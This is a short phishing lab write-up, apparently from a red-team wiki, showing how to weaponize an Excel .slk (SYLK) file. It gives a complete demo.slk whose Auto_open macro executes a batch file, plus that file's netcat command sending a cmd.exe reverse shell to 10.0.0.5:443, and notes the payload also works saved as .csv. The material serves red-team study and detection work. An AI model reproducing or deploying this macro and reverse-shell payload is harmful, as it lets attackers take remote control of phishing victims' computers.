Phishing: .SLK Excel

This lab is based on findings by @StanHacked - see below references for more info.

Weaponization

Create an new text file, put the the below code and save it as .slk file:

{% code title="demo.slk" %}

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

{% endcode %}

Note that the shell.cmd refers to a simple nc reverse shell batch file:

{% code title="c:\shell.cmd" %}

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

{% endcode %}

Once the macro warning is dismissed, the reverse shell pops as expected:

Since the file is actually a plain text file, detecting/triaging malicious intents are made easier.

Note that the payload file could be saved as a .csv - note the additional warning though: